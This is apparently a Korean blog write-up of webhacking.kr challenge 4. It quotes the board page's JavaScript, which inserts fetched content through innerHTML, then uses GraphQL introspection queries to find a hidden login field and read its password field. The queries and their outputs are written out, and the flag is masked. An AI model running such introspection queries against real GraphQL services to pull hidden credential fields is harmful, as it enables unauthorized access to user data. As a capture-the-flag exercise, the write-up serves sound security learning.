4번 문제에요.
배점은 150점이에요.
Board
Hello world :)
Hell world :(
대충 이렇게 생겼어요.
html을 뜯어보면 script 가 있는데
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
function getQueryVar(variable) {
var query = window.location.search.substring(1);
var vars = query.split('&');
for (var i = 0; i < vars.length; i++) {
var pair = vars[i].split('=');
if (decodeURIComponent(pair[0]) == variable) {
return decodeURIComponent(pair[1]);
}
}
}
if(!getQueryVar("no")){
q = `query{
view{
no,
subject
}
}`;
xhr = new XMLHttpRequest();
xhr.open("GET", "/view.php?query="+JSON.stringify(q).slice(1).slice(0,-1),false);
xhr.send();
res = JSON.parse(xhr.response);
for(i=0;i<res.data.view.length;i++){
board.innerHTML += `<a href=/?no=${res.data.view[i].no}>${res.data.view[i].subject}</a><br>`;
}
}
else{
q = `query{
view{
no,
subject,
content
}
}`;
xhr = new XMLHttpRequest();
xhr.open("GET", "/view.php?query="+JSON.stringify(q).slice(1).slice(0,-1),false);
xhr.send();
res = JSON.parse(xhr.response);
v = res.data.view;
try{
parsed = v.find(v => v.no==getQueryVar("no"));
board.innerHTML = `<h2>${parsed.subject}</h2><br><br>${parsed.content}`;
}
catch{
board.innerHTML = `<h2>???</h2><br><br>404 Not Found.`;
}
}
|
cs |
view.php 에다가 쿼리를 날리네요.
그걸 fiddler로 따서
그대로 get 를 날려보면
이런게 나오네요.
그러니 빈 쿼리를 날려보면?
에러가 떠요.
대충 GraphQL 이라네요.
암튼 GraphQL의 information_schema.tables 처럼 작동하는 쿼리인
query{__schema{types{name}}}
를 날려보면?
{"name":"User_d51e7f78cbb219316e0b7cfe1a64540a"},
이제 필드 이름을 알아내기 위해
query{__type(name:"User_d51e7f78cbb219316e0b7cfe1a64540a"){name,fields{name}}}
를 날려보면?
{"name":"passwd_e31db968948082b92e60411dd15a25cd"}
그런데 작동을 Board로 질의를 안하고 view로 질의를 해야만 작동하는것처럼
User어쩌구로 질의를 할수 없으니
눈치껏 Query 의 필드 이름을 따보면?
{"name":"login_51b48f6f7e6947fba0a88a7147d54152"}
마지막으로
query{login_51b48f6f7e6947fba0a88a7147d54152{passwd_e31db968948082b92e60411dd15a25cd}}
를 날려보면?
{"passwd_e31db968948082b92e60411dd15a25cd":"FLAG{□□□□□□□□□□□□□□□□□□□□□□□□□□□□
□□□
□□□□□□□□
'연구글 > webhacking.kr_renewal' 카테고리의 다른 글
webhacking.kr Challenge BABY / HTML5 (0) | 2021.11.02 |
---|